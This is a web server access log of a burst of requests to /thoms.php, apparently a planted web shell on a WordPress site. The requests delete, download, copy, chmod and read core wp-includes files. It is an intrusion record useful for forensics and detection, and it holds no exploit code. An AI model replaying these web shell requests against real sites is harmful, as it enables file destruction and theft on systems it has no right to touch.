45.135.193.11 - - [11/Sep/2026:23:41:28 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59200 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fload.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fload.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59242 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?dl=cron.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49592 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?dl=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59241 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:29 -0400] "GET /thoms.php?del=interactivity-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59241 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ftemplate.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?chmod=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?del=pluggable.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16920 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14289 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?dl=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59185 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:30 -0400] "GET /thoms.php?chmod=icons.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16541 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?chmod=category-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 200 14113 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?del=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:31 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 200 12414 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?dl=default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?del=php-compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=php-compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:32 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12931 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13146 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18290 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 200 14635 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-scripts.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?dl=post-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:33 -0400] "GET /thoms.php?del=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?chmod=kses.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?del=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59257 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?chmod=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?del=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17277 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?dl=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:34 -0400] "GET /thoms.php?del=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59272 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15300 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?del=connectors.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66164 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:35 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=robots-template.php HTTP/1.1" 200 13286 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=robots-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12224 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13680 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12121 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?del=style-engine&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?del=style-engine&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?dl=cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13712 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:36 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59222 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
